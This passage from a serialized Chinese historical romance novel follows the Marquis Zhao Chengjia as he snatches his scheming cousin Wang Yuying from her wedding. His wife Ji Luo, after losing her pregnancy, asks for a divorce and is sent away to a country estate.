没了这个孩子,她与赵承嘉间唯一的牵扯也没了,好似上天都都在帮着她做出这个决定。 她久居于浓雾中,被浓稠的夜色遮了眼,如今拨云见月,一切尽在眼前,心底竟也轻松许多。 那个被赵承嘉阴差阳错害得落了胎的孩子,该去往真正能让他幸福的去处。 …… *** 上京的长街上,有一身墨衣的男子怀中拥着一穿着如火般鲜红嫁衣的女子。 那样艳烈的颜色极为惹眼,街边的路人瞧见这般景象都不由驻足观望。 人群中,不知谁人先说了句,“那是……永宁侯吧?” 周遭的路人皆是回过神来,当初王玉盈执意嫁入袁家的事闹得颇大,原本过去三载,上京又是个总有新鲜事发生的所在,所以这些事大多被淡忘,但前些时日王玉盈又因和离的事闹了一遭。 为了能理所当然地从袁家脱身,王玉盈甚至故意将袁庆生养了外室的事闹得人尽皆知,如此,她便也占了理,只是这样一来,却又不免让人想起三年前那桩事,让她又再度成为上京人口中津津乐道的谈资了。 正是因为王玉盈也算是个声名在外的,所以有人认出赵承嘉之后,细看之下自然也有人能辨出王玉盈的身份。 这下议论之声就更大了。 “永宁侯这般做法,难道竟是在抢婚?” “定是抢婚了,否则因何穿了一身嫁衣?” “王家姑娘正是永宁侯表妹,两人怕是早生了情愫,便也不肯再让她嫁与旁人了罢……” “无论如何说这永宁侯家中也是有夫人的,若当真有心早些时候将人纳作妾室便是,何必偏偏将事情做得这般难看,这是全然不给家里那位脸面了!” “谁说不是,这王家姑娘也是个不要脸的,这才和离多久,又攀上了位早有夫人的……” “……” 周遭议论之声越发激烈,那些异样的目光时不时落在马背上的二人身上,可马背上二人却浑然未觉。 赵承嘉自然知道他今日之举过于冲动,当街如此定是少不了被朝中某些人拿住把柄。 这于他,自然不是好事。 可他听得凝露说王玉盈是怀了他的孩子要被逼着嫁去孙家。 他如何能忍得了? 王玉盈是他藏在心底的人,那个孩子亦是他的血脉,当时是,他脑中唯有一个念头,便是要将她与他们的孩子,都带回来。 不过等真正将王玉盈抱上马之后,他也稍稍冷静下来,开始细思如今的情况。 近些日子,其实朝中并不太平。 天子数日前去围场围猎,从那日之后便说是感了风寒,一直在寝宫中好生养着。 不说早朝,就连这些时日递上去的折子,都始终堆积在一旁。 天子登基虽没有几年,可这几年间他向来勤政,即便当真是风寒,按理来说也绝不至于到连递上去的折子都不曾批复的程度。 一日两日倒也罢了,到如今算来已经有五六日。 如此之下,自然不免开始有各种传闻流出。 有人猜测天子此番怕不是风寒,而是得了重病,怕已经是卧病在床,甚至早已是神智不清,否则为何连递上去的折子都无法批复? 除此之外,也有人揣测天子根本不在宫中,更有大胆些的,揣测他已经驾崩也是有的。 不过这些都只是背地里的揣测,明面上,却是无人敢如此说的。 但只是这些揣测,便足以让如今的朝局生出动荡来。 在这当口,其实无人会在意他这桩看似严重,但实际上往小处说,也不过就是桩上不得台面台面的风流韵事罢了。 没人会在这种时候去深究。 想到此处,赵承嘉的心底微松,他的目光落在怀中女子身上,神色也柔和许多。 “你既是怀了我的孩子,怎么连我都瞒着?”他虽问起这事,可语气中却没有半分责问的意思。 王玉盈倚靠在赵承嘉的怀中,心底是颇为得意的,只是面上却不显露,只低垂着眸子,轻声解释着,“阿盈才得知此事,一时间也是六神无主,只想着若是告知表哥,怕是免不了要令表哥为难,所以……所以才没有告知表哥,并非是有意隐瞒。” 原来她都在为自己考虑。 明明遭遇了这样多不公之事,却还一心想着自己,竟是连孩子这样的大事也只想着一人扛着。 赵承嘉想到此处,自然是越发心疼,“往后在侯府,有我在,没人能欺负得了你和我们的孩子。” “我们的孩子他……”王玉盈的手抚上腹部,神色已经是悲痛欲绝,“凝露只想着能让侯爷尽快来救阿盈于水火,怕是不曾来得及与侯爷说清,我才回了家中那日,母亲便已经令人灌了我一碗落胎的汤药,这孩子……早已是没了。” 赵承嘉眸色沉得厉害,他万万没想到那孩子竟是已经没了,“那是永宁侯府的血脉,你母亲竟是这样大胆!” 那是他的孩子,哪里能这样无缘无故地被人灌了落胎药? 传出去岂非是天大的笑话! 王玉盈忙道:“母亲并不知这孩子是侯爷的,后来我央求她,与她说这孩子其实是侯爷的,她却也不相信,只说侯爷早有了夫人,万万瞧不上我,还说是我与哪个野男人……” 她说着,好似心下当真有万般委屈,眼泪宛如珠子般颗颗滚落了下来。 赵承嘉拽紧了缰绳,面色也越发不好,“这样的人竟还是你的母亲,她如何配?” 眼见赵承嘉竟颇有要去找李氏算账的意思,王玉盈心底自然是得意的,毕竟他前头对自己还颇为冷漠,如今却能因着自己的三言两语而被牵扯住情绪,这感觉实在不错。 不过让赵承嘉当真去寻李氏的麻烦也并非王玉盈的本意。 毕竟对于她的事,李氏知道的实在不少。 倘若一切都尽数捅破,对于她而言,也实在不算好事。 所以她用帕子抹了眼泪,反而替李氏求了情,“她毕竟是阿盈的母亲,还请表哥莫要与她计较……” 赵承嘉沉默了一会,最终也只是叹了口气,“阿盈都如此说了,也只能放过她了。” 王玉盈贴近赵承嘉的胸口,轻声说了句,“多谢表哥。” 女子的气息轻飘飘地从他脖颈处扫过来,近乎勾人的香气就这般缠绕着到了他的耳边,唇边…… 他揽着怀中人的动作不由微微收紧,直至不知何处有一阵凉风吹来,才算止住了心底的那阵心猿意马。 可偏偏王玉盈在此时抬起下巴,一个吻恰好落在他的唇边。 暧昧与欲望在两人间疯长。 赵承嘉的声音有些沙哑,他道:“阿盈,我们先回去。” *** 华庆院。 王氏自然是知道今日是王玉盈嫁去孙家的日子。 这是安排得颇为妥当,王氏倒是不担心会出了岔子,毕竟王玉盈也不过是个弱女子罢了,不说永宁侯府,便只是有王家和孙家在,王玉盈也都翻不出天去。 只是她没想到赵承嘉竟会在这当口去拦了轿子,生生将这桩板上钉钉的婚事给毁了还不算,甚至当着所有人的面将王玉盈带回侯府。 王氏听得这个消息之时只觉一阵天旋地转,若不是身边的婢子反应及时将她搀住,她恐怕当下便要昏倒过去。 “这……这到底是怎么回事!”她用力地拍了好几下桌子,怎么也想不到这桩 事竟会闹到这般地步。 这样一来赵承嘉与王玉盈的事便当真是要闹得人尽皆知了。 他们永宁侯府也会成为上京世家眼中的笑话。 更为要紧的是,连赵承嘉也可能会被人趁着这个机会抓了把柄。 她简直不敢再细想下去。 底下人见王氏这般发怒,虽是心惊胆战,可却也不敢不回了话,只能如实道:“好似是表小姐身边的婢子偷偷回了侯府一趟,之后不知与侯爷说了什么,侯爷便疯了一般地要去将表小姐带回来,夫人原本也拦着,只是却也拦不住……” “这王玉盈当真是好本事!”王氏听完这话,面上除却怒火,却也多了几分后悔,“怪我竟是眼盲心瞎,没早看出她的心思,她一早来侯爷怕就已经是存了这般念头了,偏偏那时候我竟还只觉得她是个性子乖顺的!” 当初赵承嘉甚至提过要将王玉盈送回王家,说是并不想管她的事。 只是那时王氏反而一心护着王玉盈,觉得她遇上了那样的事,家里头偏偏还不向着她,身后连个撑腰的都没有,也实在是可怜。 如今想来,她不过是善于伪装罢了,那副惹人怜惜的模样,不过是尽数伪装出来的。 当初这般姿态骗了自己,如今又骗了自己儿子。 实在厉害。 王氏正这般想着,外间又有人前来禀报,说是赵承嘉已是带着王玉盈回来了。 王氏当即起身,“我倒要看看,今日有我在,谁能让这王玉盈进了侯府的门!” 说罢,她大步往外间走去。 赵承嘉与王玉盈才下了马,就见王氏带着几个婆子过来。 见了王氏,王玉盈的脸色微微有些发白,她小心翼翼地唤了一声,“姑母……” 可王氏却冷笑一声道:“如今谁还能担当得起王姑娘这一声姑母啊?” 这话中的嘲讽意味颇重,王玉盈脸色更是苍白了几分,连眼眶也红了一圈。 赵承嘉自是不会眼看着王玉盈受这般委屈,他将王玉盈拉到自己身后,看向王氏道:“母亲,这事千错万错都是我的错,只是阿盈早已是我的人,甚至还怀过我的孩子,如今你们逼着她就这般嫁与旁人,我如何能这般将她抛下?” “什么?她怀过你的孩子?”王氏一下便抓住了他话中的关键,有些不敢相信道:“这是什么时候的事?” 若是如此,他们岂非至少一个月以前便已经…… 甚至是在自己的眼皮子底下,连孩子都有了,这令王氏如何能不意外? 赵承嘉想起那孩子竟是被李氏用那样的手段落了,自然也猜到这事也许与王氏也有些关系,于是语气越发冷了下来,“是什么时候的事还要紧吗,若不是你们生生要逼着阿盈嫁给旁人,她那孩子也不会被李氏灌了药,那也是永宁侯府的血脉。” “母亲您不是一直希望我能有个孩子么,可我的孩子却生生被你这般逼死了!” 王氏脸色惨白,却是一句话也说不出来。 她确实不知王玉盈竟是怀了赵承嘉的孩子的。 倘若知晓,即便她再如何不喜欢王玉盈的这些手段,只是为了这孩子,她也会给王玉盈一个妾室的身份,凡事都等那个孩子生下来再说。 可如今,说什么都来不及了。 而赵承嘉见王氏久久不曾回过神来,也并没有心思再与她多说,只拉着王玉盈的手大步进了侯府。 赵承嘉才将王玉盈带回了观荷院歇下,正与她说着话,外间却传来赵倩桐的声音。 赵倩桐如今与纪萝关系极好,王玉盈自然猜到赵倩桐此时过来,怕是要给纪萝鸣不平的。 她如今有赵承嘉做倚仗,连王氏都不怕,自然是不会畏惧赵倩桐的。 只是在赵承嘉面前,王玉盈却依旧作出一副惊慌失措的模样来。 “放心。”赵承嘉安慰道:“我去处理。” 王玉盈却依旧有些担忧,“表哥,不如还是让我去与倩桐解释一下吧,若是因着我的缘故影响了你们兄妹的感情就不好了。” 可赵承嘉却安抚似的帮她整理了耳边的碎发,“放心,我知道怎么与她说。” 王玉盈迟疑了片刻,这才轻轻点了头。 赵承嘉这才走了出去。 外间,赵倩桐也才刚得知赵承嘉竟撇下纪萝去将王玉盈从喜轿上带了回来。 王玉盈因何突然要嫁人,又到底要嫁给何人,赵倩桐是全然不在意的。 她在意的唯有一件事,赵承嘉竟是就这般抛下纪萝就走了,而且竟还是为了王玉盈? 她根本没法冷静下来,得知赵承嘉正在观荷院后,更是二话不说便怒气冲冲地要过来兴师问罪。 赵承嘉从里间出来时,瞧见的便是一脸怒气的赵倩桐,他皱眉道:“这又是要闹腾什么?” “这话我才要问兄长呢!”赵倩桐虽然素日是有些畏惧这位兄长的,可此时因着一心想为纪萝出头,即便听得赵承嘉这责问的话语也并未生惧,更是拔高声音道:“兄长为了旁人将自己的妻子就这般舍下,难道就不曾有错么?” 赵承嘉的面色沉了下来,可他还不曾来得及开口,却又听赵倩桐越说越是气恼,“更不说你竟还当街去抢了人家的新娘子,这事传闻出去,旁人会如何说嫂子?” 赵承嘉冷着脸听赵倩桐说到此处,见她口口声声都是纪萝,自然理所应当以为她说这些话是纪萝的意思,于是竟也没有发作,只是道:“我知我今日将她撇下确实没怎么顾着她,但事情紧急,阿盈也并非别人,她被强逼着嫁给不愿嫁的人,我如何能不管?” “那是王玉盈自个的事!”赵倩桐却并未因着赵承嘉这话而松动分毫,而是语气越发不好,“她这人心思极深,从前便在我身边撺掇我对嫂子下手,如今又骗得兄长你……” 赵承嘉却无心再听她说这些在他看来只是刻意编排的话,“阿盈是什么样的人我知道,况且……她曾为我有过一个孩子,我不能不管她,你若还当我是你兄长,便也对她多几分尊重吧!” 赵倩桐一听王玉盈竟曾经怀了赵承嘉的孩子心里也是一惊,可嘴巴却赶在脑子前边将纪萝也怀了身子的事说出了口,“嫂子也怀了你的孩子,怎么不见你对嫂子这般用心?” “阿萝当真怀了孩子?”赵承嘉想起今日自己急着要去寻王玉盈时,纪萝上前想来阻拦,情急之下,自己曾推了她一把,那时候她身边的那个婢子好似确实是说纪萝怀了孩子,还说要寻大夫过来。 可那时候他方才得知王玉盈怀了身子,偏偏在这时纪萝也怀了身子,而那时候纪萝又是怀着阻拦他去将王玉盈带回来的心思。 如此,他心底自然下意识觉得这不过是纪萝用来阻拦他的手段罢了。 否则哪里有这样正好的事儿? 可如今赵倩桐却也这样说,倘若这当真是一个谎言,现在他都已经将王玉盈带回来了,纪萝万万没有必要在这时候还继续这个谎言。 难道,纪萝当真也……怀了他的孩子? 那今日他推的那一下…… 赵承嘉的心猛然揪了起来,纪萝与他们的孩子,不会当真出什么事吧? 赵倩桐反应过来自己方才说漏了嘴,可想到赵承嘉都这样堂而皇之地将王玉盈带回侯府了,往后也少不了会给她个侧妃的位置,所以也只没好气道:“你想知道,自己去问问嫂子便是!” “难道是做了亏心事,竟是连嫂子的面都不敢见了?” 赵承嘉没有理会她刻意的阴阳怪气,只当真点头道:“我去看看她。” 说罢,他绕开赵倩桐,径自往外间走去。 *** 青萝院。 纪萝早已用下 落胎药。 那是最温和的方子,整个过程中纪萝其实并未受什么苦。 可当清晰地感觉到那个孩子一点点地从她身体里抽离之时,她依旧很是不好受。 明明身体上全然没有疼痛,可她却禁不住地发颤,等一切结束,她才发觉她早已是满脸的泪水。 好在,一切到底还是结束了。 她昏昏沉沉地在床榻上歇了半日,再醒来时才用过养身子的汤药,赵承嘉便到了。 他大步进来,见到纪萝后问的第一句话便是,“阿萝,你当真怀了身子?” 他这话里是带着惊喜的。 不论如何,他总归还是想与纪萝有个孩子,如此,也能与王氏有个交代。 至于白日里那一桩事,他以为是不要紧的。 纵然他确实不小心推了纪萝一把,却也不至于当真让这孩子出了事。 而纪萝,即便因着这事有些不满,为了孩子,也总会忍一忍。 “是。”事到如今,纪萝无心再隐瞒他,索性也承认了。 听得这话,赵承嘉还未来得及高兴,就听纪萝接着道:“可是就在侯爷走后,我已经将这孩子落了。” 赵承嘉脸上的笑意僵住,有些难以置信道:“你说什么?” 纪萝抬眸,即便对上他那双蕴着盛怒的眼眸,她也不曾露出惧意来,依旧神色平静,她道:“孩子已经没了,大夫来瞧时说这孩子原本便体弱,侯爷推我那一下恰好让我撞上了台阶……” 后边的话,纪萝并没有说下去。 而赵承嘉听到此处,只以为这孩子没了尽是他的缘故,一时脸色有些发白,“只是那一下而已,怎么就……” 纪萝移开目光,她原本想尽可能冷静地了结此事,可再提及那个孩子时,她别开脸的一瞬,眼泪依旧落了下来。 她没有管赵承嘉如何说,只尽可能让自己的声音没有异样,她道:“侯爷,我们和离吧。” 屋内极静,窗外偶有风声,透过窗缝将烛台上的火焰吹得七零八落。 赵承嘉似乎冷静了下来,他盯着纪萝,眼底幽深的墨色几乎不曾掩藏,半晌,他道:“阿萝,我们还会有孩子。” 他虽不曾说道歉的话,可这话对于他而言,已经算是让步。 既然他已经给了台阶,他以为纪萝便不会再抓着不放。 毕竟让他们的孩子出事也并非他的本意。 可纪萝转眸看向他,声音很轻,但却越发坚定,“侯爷,我们和离罢。” 她将那话再度重复,每一个字都极为清晰。 直至此刻,赵承嘉才意识到,和离可能并非是纪萝逼迫他让步的手段。 她是真的,想和离。 赵承嘉眉头紧锁,强忍下心底的不耐,“你才失了孩子,可能还有些不太冷静,等你稍微冷静了我们再谈。” 说罢,他转身便要走。 “侯爷。”可纪萝叫住他,“玉盈表妹如今已经在府中了吧,您既是真心喜欢她,难道就不想给她的正妻的位置?” 她认真道:“只要侯爷给我一封放妻书,我自会离去,不会再与侯爷有任何纠缠。” 事到如今,比起旁的,她更希望能与赵承嘉彻底了断。 赵承嘉定住脚步,唇边的冷笑甚至有些瘆人,“你莫不是疯了?” “侯爷。”纪萝轻轻叹了口气,“你当街将已做旁人新娘的玉盈表妹带回来,早已经是什么也不顾了,你这样在意她,为何不愿应下和离之事?” 她仰起依旧苍白的脸,唇边少见的带了一抹讥讽的笑意,“难道……侯爷骨子里也瞧不起玉盈表妹,所谓的情意,其实也不过如此,连世俗的一些东西都越不过去,听说玉盈表妹那个孩子也不曾保住,这些事与侯爷……也未尝没有关系罢?” “住口!”纪萝的话终于成功地将赵承嘉激怒,他死死盯着纪萝,眼底的怒火几乎要将她吞噬,半晌,他才沉声道:“既然你不想呆在侯府,那我便成全了你,郊外不是正有一座庄子闲置着,你明日便启程过去吧。” 他转头大步往外间走去,“我会与母亲说你是染了病,自请去庄子养身子。” 最后的话音落下,赵承嘉的身影也已经消失在夜色中。 芸枝神色不安地进来,她瞧见赵承嘉拂袖而去,知晓他大约与纪萝起了争执,心下自然担忧。 她进来后纪萝已经收敛了神色,面上甚至轻松许多。 虽说和离的事并未定下,可赵承嘉至少让她离了侯府。 怎么样都比要继续留在这侯府要好。 这三年,她早已是疲累不堪,失去孩子不过是最后一块压上来的石头罢了。 芸枝斟酌着开口道:“姑娘,您方才与侯爷……” 她想问纪萝是否有与赵承嘉说清,那个孩子没了与他有莫大的关系,即便他不会承认,可总归也不至于将这事怪到纪萝身上。 可方才赵承嘉却…… 芸枝不明白。 纪萝并未与她解释什么,只是轻声道:“收拾收拾东西,明日我们去郊外庄子。” “侯爷要将您送去庄子?”芸枝心头一惊,更是不敢相信,“您才落了胎,身子正弱,侯爷心里便是有再大的气也不当这样着急赶着您走啊。” 说到此处,她好似想起什么来,又迟疑道:“难道侯爷这般举动,竟是为了让您给那王家的表小姐腾位置?当真是这样着急便要将人扶作夫人?” “芸枝。”纪萝摇摇头,“我本也不想留在这侯府,侯爷如何想无关紧要,眼下他容我离开,我心底反而轻松些。” 芸枝愣住,便见她垂下眼眸,睫毛在白皙的脸上留下一片阴影,“你去将收拾些素日穿的衣裳便好,侯府的东西就都不必带着了。” 芸枝张了张嘴,最终也只能答应下来。 *** 观荷院。 赵承嘉才因赵倩桐前来寻麻烦之事出了门,凝露后脚便踏进了屋内。 这一日可谓是十分凶险,可到底结果是好的。 这其中,凝露实在是立下了颇大的功劳。 她这会儿笑着上前道:“姑娘的法子当真是好,侯爷果真是需要一些刺激的,若没有夫人折腾这一出,这事反而不会这样顺利,就连孩子的事也更难糊弄过去了。” 王玉盈闻言弯了弯唇,“也算是上天庇佑吧。” 她腹中的孩子原本已有三月,是怎么都算不到赵承嘉头上的。 原本她是想着买通大夫骗过赵承嘉,之后才自己落了胎便是。 只是这样的法子虽能行,但却需要寻着合适的时机还不算,更是风险极大。 皆是不止有赵承嘉,王氏,纪氏,甚至赵倩桐,这永宁侯府中不知有多少双眼睛盯着。 万一被人觉出不对来,那她千万般的算计最终都只能落了空。 而如今李氏给她生生灌了一碗落胎药,这事便彻底干净了,甚至借着与孙家的这桩婚事彻底将事闹大,到了这份上,便是王氏如何不肯,却也不能再将她如何了。 如此想着,王玉盈心中怎么能不得意? 从前或许还要畏惧王氏几分,少不得在她跟前伏低做小,如今撕破了脸皮,她也不敢对自己如何。 这永宁侯府,迟早会是自己的。 正当这时,外间争吵的声音停下,凝芳却匆匆进来,神色迟疑道:“姑娘,侯爷他……好似去青萝院了。” “什么?”王玉盈脸上的笑意一沉,“赵倩桐到底是说了什么?” 凝芳小心翼翼地觑了王玉盈一眼,片刻后才道:“奴婢好似听着她说……说是纪氏怀了身子……” 王玉盈猛然攥紧了手中帕子,“纪氏……纪氏果真还是有了。” “纪氏竟是当真有了孩子!”凝露闻言也是吃了一惊,她今日一早听那芸枝如此说,是当真以为那不过是纪萝为了留人使出来的手段罢了,可如今看来,这并非是谎话,“倘若纪氏这孩子生下来,姑娘怕是……” 凝芳也神色极为担忧地看向 王玉盈。 眼下这局面看似她是赢了一局,可莫说是正妻的位置,便是侧妃,赵承嘉都还未曾许诺。 这便也算了,只要赵承嘉的心思还在她身上,王玉盈其实也并不算担心。 只是纪萝却正好在这当口怀了身子,旁人不知,可王玉盈是重活一世的,那个孩子将会是永宁侯府的嫡长子,若是不出岔子,这孩子怕是要继承永宁侯府的…… 到那时,她纵然千万般算计,最后也只能是一场空了。 王玉盈咬牙,几乎是带着恨意道:“这孩子,我必定不能让他生下来。” 一旁凝露先是点了头,凝芳眼底虽闪过一丝不忍,可到底也没说什么。 王玉盈这些时日颇为折腾,眼下虽知赵承嘉是去了青萝院,可偏偏她在赵承嘉面前向来表现得颇为乖顺,事事皆是以他为先,所以此时也不能表露出任何不满来。 便只先用了汤药,打算好生歇着。 可不曾想到今夜,赵承嘉竟还是回了观荷院。 王玉盈披了外衫前来迎接,一开门,便见赵承嘉脸色沉得厉害。 她与赵承嘉相识多年,如今关系也算亲近,但却是实打实的头一回见他这般神色,一时不由有些奇怪,想到他方才应当是从青萝院过来,心底也有了些揣测,便状似无意问道:“表哥怎么脸色不大好,可是出什么事了?” 赵承嘉薄唇紧抿,语气沉沉道:“纪氏怀的孩子没了,她倒是气性大,竟是要因这事与我提了和离!” “纪氏……提了和离?”王玉盈先听着赵承嘉说那孩子没了,心底已是一喜,顾不上细问却又听赵承嘉道纪氏竟是提了和离,她的心猛然提了上来,又不得不压下那份激动,目光灼灼道:“那侯爷……如何说?” 赵承嘉曾说过,他与纪氏并无感情,也早有和离心思,只是苦于纪氏并无过错,所以才未曾提和离之事。 可如今已是无需他来提和离,纪氏先提了此事,那他只需顺着纪氏的意便是。 若是和离之事成了,她距离那侯夫人的位置,便又近了一步。 想起上辈子永宁侯府的风光,王玉盈心中如何能不欣喜。 只是赵承嘉的话却猛然击碎了她的幻想,他语气很是不好,道:“纪氏原本也算是乖顺的,做事也妥帖,如今却不知怎么气性越发大了,原本我念在她才失了孩子,并不想与她多做计较,可不想她竟是抓着这事不放。” “我安排人明日一早便将她送去郊外庄子,总是要吃些苦头才能磨一磨这性子,等她什么时候知错了,再让她回来!” 赵承嘉从头到尾都未曾提一句和离之事,更是不曾表露出有分毫想和离的心思。 即便纪萝这般大胆了提了这事,几乎不曾顾及赵承嘉颜面的大闹了一场,从方才进来时赵承嘉那般脸色来看,他也并非没有发作。 只是即便如此,他却始终不曾松口和离之事。 王玉盈心底有些发沉,即便赵承嘉说是要将纪萝送去庄子,也依旧是留了余地的——只要纪萝肯认错,便依旧能轻而易举的从那处回来。 这样的结果并非是王玉盈想要的。 她咬牙忍下了想直接开口询问的冲动,因为她明白,没有人会喜欢被这样步步紧逼。 赵承嘉更不会喜欢。 倘若她逼着赵承嘉和离,结果只会适得其反。 所以她只能一点点去揣测赵承嘉的心意,顺着他的话道:“纪姐姐大约确实在侯府养尊处优太久了,等去了那庄子,想来很快便会跟侯爷认错的。” 赵承嘉听得这话,神色果然松缓许多。 至于他为何没有顺势和离,他自己或许也是并不明白的,他只知道纪萝在的这三年,侯府的一切都好,至少目前,他并不希望这一切发生变故。 而王玉盈,或许正如同纪萝所言,他从心底深处,并不认为她能配得上那个位置。 王玉盈自然不知赵承嘉此时心中如何想,她只掩下心底的不安,越发贴近赵承嘉的身体。 营帐中那一夜是假的,时至此刻,她与赵承嘉之间还什么都不曾发生。 而赵承嘉方才那番话语也越发让她觉得她应当做些什么。 今夜,就先让那个谎言成真罢。 第27章 王玉盈纤细白皙的手已是到了赵承嘉的腰间,她的唇若有似无地扫过他的脖颈,灼热的气息洒在他的耳边,她放轻声音道:“这些烦心事明日再想罢,时辰不早了,侯爷,我侍奉您休息。” 气氛已是暧昧至极,可偏偏此时的赵承嘉并未任何心动之感,更多的反而是觉得……烦躁。 对,甚至除却烦躁之外,就并无其他了。 或是因为纪萝的那个孩子,又或是因为纪萝与他提了和离,可不论如何,他始终没有兴致。 他拂开王玉盈解开他腰带的手,语气有些疲累道:“算了,今日你也累了一夜了,且你的身子也还不曾养好,还是先好好歇息罢。” 王玉盈的身子顿时僵在了那儿,面上也不由显露出难堪之色来。 她全然没有名份地与他这般回了侯府已是要受不少口舌,更不说她此时这般举动更几乎算是自荐枕席。 王家门第虽不算高,可好歹她也算是个官家小姐,未出阁前也是被养得精细,礼义廉耻自然是懂得的。 只是因着上辈子的下场实在不好,所以一心想着既然再活一回,那便不能重蹈覆辙,所以即便是放下身段做一些从前不屑之事也是无妨。 但此时被衣衫已是半解却依旧被赵承嘉这般推拒,她心下却还是觉得难堪至极。 “表哥可是觉得我成过婚,心底便嫌弃我了?”王玉盈拽住赵承嘉的衣袖,声音里已是夹在着哽咽。 赵承嘉叹了口气,“我并非此意。” 他耐着性子解释着,“你也才失了孩子,总归是要好好养着身子,我还有公事要处理,也不能耽误。” 即便赵承嘉这般做了解释,王玉盈依旧没有忽略他眼底一闪而过的不耐烦,她明白见好就收的道理,于是用帕子擦了擦眼泪,努力挤出笑意来,“那等表哥忙完,再来看我。” 赵承嘉对她这副还算懂事的模样很是满意,他点点头,叮嘱了句“好生休息”,便转头出了院子。 *** 翌日一早,芸枝已经将东西收拾妥当。 纪萝原本想着先去与王氏,赵倩桐道别。 她与王氏从前关系不好,如今却稍稍缓和些,而赵倩桐更是已将她当作朋友一般。 如今着去了庄子,也不知能不能再有见面的时候,无论如何也应当前去道别。 可不想赵承嘉安排的人却很快到了,见纪萝还未曾有离开的意思竟是上前催促起来,“夫人,侯爷提早吩咐了时辰,咱们这马车马上就要动身了,怕是不好耽搁。” 纪萝一愣,解释道:“这会儿才不过卯时末,母亲与倩桐都未必起了身,我既要走,总是要与她们说一声的。” 但那仆从却好似提早知道纪萝会如此说,神色颇有些抱歉道:“侯爷提早吩咐了,说是不必惊动老夫人与倩桐小姐,让夫人只乘马车去庄子便是。” 纪萝这才明白过来,赵承嘉这是觉得她会不甘心就此离开,若见了王氏或是赵倩桐,便会使手段让她们帮衬,用这法子留下来,所以才这般着急地催促着她离开。 “罢了。”纪萝摇头,“既是侯爷的意思,我也就不为难你了。” 她转头看向芸枝,“芸枝,我们走罢。” 赵承嘉的担心其实也并无道理,纪萝虽无心用这样的法子留下,可眼下王氏正是对王玉盈最为不满的时候,她未必不会想让纪萝留下…… 纪萝也并不想这般横生枝节。 那仆从听了纪萝这话,这才松了口气,忙道:“马车已经等在府门口了,还请夫人移步。” 纪萝颔首,拿了东西跟着这仆从出了院门。 可等纪萝正要上了马车,却远远见赵倩桐提着裙摆往这边跑过来,“嫂子,嫂子等等!” 纪萝没想到赵倩桐竟还是知晓了自己要离开的事,虽有些无奈,可到底还是将手中的包袱递给芸枝,让芸枝先收拾着。 赵倩桐才得了消息,连梳洗都顾不上便匆匆从静雪院过来,因着跑得极快,等到了纪萝跟前连喘息都有些艰难,纪萝轻轻给她拍了拍后背,让她顺过气来,她却顺势握住了纪萝的手,“嫂子,是我哥要赶你走么?” 纪萝一愣,而后摇头,“也是我自己的想法。” 可赵倩桐却不相信,“那庄子空置多时,里边可能也就几个下人在守着,旁的东西是什么也没有的,嫂子你才落了胎,身子还没养好,如何能去得了那种地方?” 纪萝的孩子不曾保下来的消息赵倩桐也是昨日夜里才知晓的。 她听说这消息,又知这与赵承嘉有些关系,心底便更是为纪萝难受。 她本想着去青萝院见一见纪萝,可奈何时辰实在不早了,想着纪萝身子不好,便将这事安排到了第二日。 但不想赵承嘉竟是这样着急地要将纪萝赶去庄子,连她才没了孩子都不心软分毫。 说到此处,赵倩桐又想起王玉盈,咬牙道:“这事定是那王玉盈在背后挑拨,她没来侯府的时候,侯府没出过这样多事,兄长也向来是对嫂子你很好的,那时候我对嫂子有些不尊重,兄长甚至还将我关在院子里,连着关了我数日,直至母亲为我求情兄长才算松口将我放出来,可见兄长还是在意嫂子你的。” “只是那王玉盈实在有些心机,这才挑拨出这些事端来。” “不成。”赵倩桐越说越是觉得这事不能这般算了,于是松开纪萝的手道:“嫂子等等我,我去与兄长说,无论如何也不会让你就这般被赶去庄子!” 眼见赵倩桐当真要去向赵承嘉要个说法,纪萝慌忙叫住她,“倩桐,这当真是我自己的意思。” 赵倩桐见纪萝神色认真,实在不似作伪,这才信了几分,可也实在不解,“可嫂子你去了那庄子之后,也不知什么时候才能再回来,王玉盈如今又已经住进了侯府来……” “倩桐,我在侯府的这些时日其实过得也没有那么好。”纪萝轻轻叹了口气,可说的却是实话,“如今能远离这儿,我反而觉得轻松些,至于侯府里的事,我并不想管,也管不了了。” 话音落下,赵倩桐也沉默了下来。 她下意识想着纪萝在侯府里吃穿用度都是侯府主子的标准,自然是不会差的,可却忘了纪萝在永宁侯府的这三年也并不轻松。 王氏不好应付,每日的晨昏定省是少不了的,家中中馈由纪萝管着,虽是权力,可更多的却是麻烦,意味着府中诸事都要由她来做安排,春衣,冬衣,各个季节的食材,夏日的冰块,冬日的炭火,还有与上京各世家间迎来送往的礼品…… 事事皆要周全。 或许纪萝的话当真不是假话,去那庄子对于她而言,其实并不算吃苦,甚至会让她轻松许多,不论是身体,还是心理上。 想到此处,赵倩桐终于下定了决心,她令怡宁拿了一袋沉甸甸的银子,将这银子塞到了纪萝手中,“去哪里都好,总是少不了要使银子的地方,这些银子嫂子你务必收着。” 纪萝不肯收下,“你留着自个用便是,我自是带了银子去的。” 她是带了,可其实却带得不多,侯府的东西她没有动,拿的只是她自己的那些碎银子。 相处了这些时日,赵倩桐也知她何种心性,所以也不肯将这银子收回去,“这些银子可是从秦敬那里拿回来的,若不是嫂子帮忙,我还不知要被蒙骗到何种地步,这又岂是这些银子能衡量的?” 赵倩桐识破秦敬的真面目后,便令人去将他好生教训了一通,从前花在他身上的银子他花去了大半,但余下的部分其实也不算少,赵倩桐不想再与这样的人再有纠缠,于是便只将这些银子尽数拿了回来。 她在侯府中吃穿不愁的,偶尔的花销也只是买些簪钗首饰之类,实在没有花银子的所在,所以这些银子便也都一直留着。 如今才算有了拍上用场的地方。 眼见纪萝还是不愿收下这银子,赵倩桐便佯装威胁道:“若是嫂子不肯收了这银子,那我便只当嫂子方才与我说的都是假话,可得去兄长面前好生闹一闹才成了!” 说罢,她当真作势便要去找赵承嘉。 纪萝拗不过她,最终只能收了银子。 瞧着时辰不早,车夫记着赵承嘉的叮嘱,实在不敢耽搁了时辰,只得小心上前提醒,“夫人,您看这时辰也不早了,咱们是不是……” 赵倩桐皱眉,正要呵斥这没有眼力见的车夫,纪萝却先颔首答应,之后再与赵倩桐说了些叮嘱的话,无非是让她以后警醒些,莫要再被旁人骗了之类,话说完,即便再如何不舍,纪萝与芸枝也到底上了马车。 马车轱辘转动的声音渐渐远去,赵倩桐却在府门前站了好一会才转身回去。 *** 纪萝走后王氏才知晓这事。 赵承嘉也没多做解释,只说是纪萝染了病,要去外头庄子里养好身子再回来。 王氏自然知道这是假话,王玉盈昨日才被赵承嘉以那样荒唐的方式接回府来,今日纪萝便染了病,甚至还要送去外头的庄子。 这实在古怪。 